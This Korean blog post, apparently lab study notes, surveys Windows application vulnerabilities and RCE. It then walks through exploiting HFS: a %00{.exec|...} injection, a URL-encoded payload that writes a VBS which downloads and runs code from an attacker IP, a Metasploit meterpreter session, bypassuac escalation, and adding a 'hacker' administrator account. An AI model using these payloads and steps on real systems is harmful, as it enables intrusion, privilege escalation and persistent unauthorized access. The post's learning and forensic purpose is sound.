본문 바로가기
클라우드 취약점 진단 및 대응 실무

클라우드 기반 취약점 진단 및 대응 실무 [ 네 번째 정리 ]

by 할 수 있다 ! 2024. 5. 30.

안녕하세요 ! 

 

클라우드 기반 취약점 진단 및 대응 실무에 네 번째 정리를 해보려고 합니다.

 

 

1. 윈도우 애플리케이션 취약점 사례 

 

윈도우 애플리케이션 취약점은 여러 가지 형태로 나타날 수 있습니다. 

 

 

1. 버퍼 오버플로우 : 입력을 처리하는 동안 잘못된 크기의 메모리 영역을 덮어쓸 수 있는 취약점 입니다. 

악의적인 사용자가 입력 데이터를 조작하여 실행 흐름을 변경하거나 악의적인 코드를 실행할 수 있습니다. 

 

2. 인증 및 권한 관련 취약점 : 애플리케이션에서 인증 및 권한 관련 기능을 올바르게 구현하지 않으면 사용자가 권한을 얻을 수 있거나 다른 사용자의 권한을 탈취할 수 있는 취약점이 발생할 수 있습니다. 

 

3. 디렉터리 탐색 : 애플리케이션이 파일 또는 디렉터리 경로를 검증하지 않고 사용자 입력을 처리할 경우 악의적인 사용자가 시스템에 접근할 수 있는 취약점이 발생할 수 있습니다. 

 

4. 보안 설정 부족 : 애플리케이션이 기본적인 보안 설정을 충분히 강화하지 않은 경우, 악의적인 사용자가 애플리케이션의 취약점을 악용하여 시스템에 침입할 수 있습니다. 

 

5. 익명의 사용자 입력 처리 :백그라운드에서 실행되는 서비스나 데몬에 대한 취약점은 악의적인 공격자가 시스템에 액세스하거나 제어할 수 있는 경로를 제공할 수 있습니다. 

 

6. 서비스 및 데몬 취약점 : 백그라운드에서 실행되는 서비스나 데몬에 대한 취약점은 악의적인 공격자가 시스템에 액세스하거나 제어할 수 있는 경로를 제공할 수 있습니다. 

 

이러한 취약점은 개발자들이 보안을 고려하고 안전한 코딩 관행을 따르지 않을 때 발생할 수 있습니다. 따라서 적절한 보안 검토, 코드 검증, 보안 패치 적용 등의 조치가 필요합니다. 

 

 

RCE ( Remote Command  Execute ) 

 

RCE (원격 명령 실행)는 악의적인 공격자가 원격에서 명령어를 실행할 수 있는 취약점을 의미합니다. 이것은 주로 웹 애플리케이션에서 발생하며, 공격자가 취약한 입력 폼, 파일 업로드 기능, 또는 다른 웹 애플리케이션 취약점을 통해 웹 서버 또는 해당 서버에서 실행되는 애플리케이션에 액세스하는 데 사용됩니다. 

 

RCE는 악의적인 명령어를 원격에서 실행하여 시스템에 대한 완전한 제어를 얻을 수 있습니다. 이것은 시스템을 완전히 손상시키거나 중요한 데이터를 탈취하거나, 시스템의 사용 권한을 확장하거나, 다른 악의적인 활동을 수행하는 데 사용될 수 있습니다.

 

 

 

 

그러면 애플리케이션 취약점 사례에 대해 실습을 진행해보도록 하겠습니다.

 

 

가상 비주얼 머신에서 IE11 을 열고 hfs 를 실행한 뒤에 폴더들을 드래그 해서 붙여 넣습니다. 

 

 

파일에서 폴더들을 드래그 한 뒤에 hfs 페이지에서 새로고침 하면 드래그 했던 폴더들을 볼 수 있습니다. 

 

여기서 %00{.exec|cmd.} 명령어를 입력하면 ?? 

 

 

IE11에서 cmd 창이 뜨는 것을 확인할 수 있습니다. 

 

 

%00{.exec|notepad.} 명령어를 입력하면 ?? 

 

 

IE11 에서 노트 패드가 뜨는 것을 확인할 수 있습니다. 

 

 

search hfs 를 입력하면 use 0 이랑 use 1 뜰 것인데 hfs 를 검색했으니까 use 1 을 선택합니다. 

 

그리고 show options 를 입력합니다. 

 

 

그러면 호스트 값 비어있으니까 RHOSTS 에 입력값을 넣어줍니다. 

 

 

공격에 성공한 것을 볼 수 있습니다. 거기서 IE11에 TEMP 라는 폴더가 만들어진 것을 볼 수 있습니다. 

 

 

 

TEMP 라는 폴더가 생성되었습니다. 하지만 TEMP 라는 폴더가 안에는 아무것도 없습니다. 

 

 

GET/?search=%00{.save%7C%25TEMP%25%5CRzoZJDndVMfL.vbs%7CSet+x%3DCreateObject%28%22Microsoft.XMLHTTP%22%29%0D%0AOn+Error+Resume+Next%0D%0Ax.Open+%22GET%22%2C%22http%3A%2F%2F192.168.5.133%3A8080%2FxFfEHOx%22%2CFalse%0D%0AIf+Err.Number+%3C%3E+0+Then%0D%0Awsh.exit%0D%0AEnd+If%0D%0Ax.Send%0D%0AExecute+x.responseText.}

 

이 부분을 복사해서 urldecoder 에 접속하고 붙여넣기 합니다.

 

 

GET 방식으로 해석해주는 것을 알 수 있습니다. 

 

 

meterpreter 상태에서 shell 이라는 명령어를 입력해서 hfs 로 접속되는 것을 알 수 있습니다. 

 

 

그리고 나서 IE 11 에서 시스템 터미널로 접속해서 explorer.exe 로 가면 cmd 가 하나 더 생성된 것을  볼 수 있습니다. 

 

 

 

그리고 속성으로 들어가서 경로를 보면 TEMP 라는 폴더에 있는 것을 볼 수 있습니다. 

 

TEMP 로 설정된 경로를 따라서 찾아가면 악성코드 파일을 확인 할 수 있습니다. 

 

 

TCPView 파일에 접속하면 4444 포트로 연결되어 있는 것도 확인할 수 있었습니다. 

 

 

Create file은 파일들을 읽는 것이다. 

 

 

EVENT VIEWER 에 들어가면 각종 여러가지 디렉토리 폴더 그리고 칼리 리눅스에서 실행했던 결과물들을 확인할 수 있습니다. 

 

 

다시 칼리 리눅스로 돌아와서 meterpreter 에서 shell 이라는 명령어를 입력하면 IEUser 라는 사용 권한자로 로그인을 했기 때문에 IEUser 에 감염이 된 것을 확인할 수 있습니다. 웹 쉘 같은 경우는 www 권한으로 감염이 됩니다. 

 

 

이번에는 권한 상승을 해보도록 하겠습니다. 

 

 

권한 상승을 하기 위해서 search bypassuac 를 입력해서 여러가지 목록중에서 exploit/windows/local/bypassuac 를 선택했습니다. 

 

 

show options 에 들어가면 SESSION 값이 없는 것을 확인할 수 있는데 set SESSION 명령어를 이용해서 세션 값을 지정해줍니다.  

 

 

저는 48번이 나왔어서 48 번으로 지정하고 바로 exploit 공격을 하니까 성공한 것을 볼 수 있었습니다. 

 

 

여기서 getuid 명령어를 입력해서 현재 username 이 누구인지 확인을 합니다. 그리고 악의적인 사용자나 해커가 시스템에 대한 완전한 제어를 얻기 위해 getsystem 을 입력해서 다시 getuid 를 입력하면 권한 상승이 되었다는 것을 알 수 있습니다. 다. 

 

그리고 다시 shell 명령어를 입력한 뒤에 user hacker hacker /add 명령어를 입력하면 성공했다는 것을 알 수 있습니다. 

 

 

net user 명령어를 통해서 확인할 수 있습니다. 그리고 net localgroup administrators 명령어를 입력해서 현재 시스템의 관리자 그룹에 속한 사용자 계정 목록을 볼 수 있습니다. 

 

 

 

그 다음은 $ sudo rdesktop 192.168.218.136 명령어를 사용해서 원격 데스크톱을 띄웁니다.

 

 

 

 

아이디 비밀번호를 아까 설정했던 hacker hacker 로 로그인을 하면 화면 페이지에 뜬 것을 확인할 수 있습니다. 

 

 

 

다시 IE 11 로 넘어오면 이렇게 화면이 바뀌어 있는 것을 확인할 수 있습니다. 

 

그리고 IEUser Logged on 으로 접속해서 Passw0rd! 로 로그인을 합니다. 

 

 

 

이벤트 뷰어에 가면 스페셜 로그인으로 로그인 된 것을 볼 수 있는데 해커라는 사용자가 어떤 새로운 로그인 권한들을 받았다고 하는 것이다. 이것이 아까 관리자 권한 쪽에다가 넣어줬을 때 나옵니다. 

 

 

터미널 서비스 - 로컬 세션 매니저에 들어가서 오퍼레이션에 보면 커넥션 정보들이 있는데 여기서 찾아보면 나옵니다. 

 

 

hacker 로 로그인을 했던 정보와 포트포워딩을 했던 IP가 있습니다. 그래서 여러가지 정보를 찾아볼 수 있다. 라는 것 입니다. 

 

 

 

그 다음은 HFS 폴더에서 오픈 브라우저 IP 주소를 구글이나 크롬 페이지에서 복사해서 붙여넣기 하고 페이지가 연결이 되는지 확인을 합니다. 여기서 엑셀 파일로 다운을 받아서 여러가지 엑셀 활용도 가능합니다. 

 

 

 

 

끝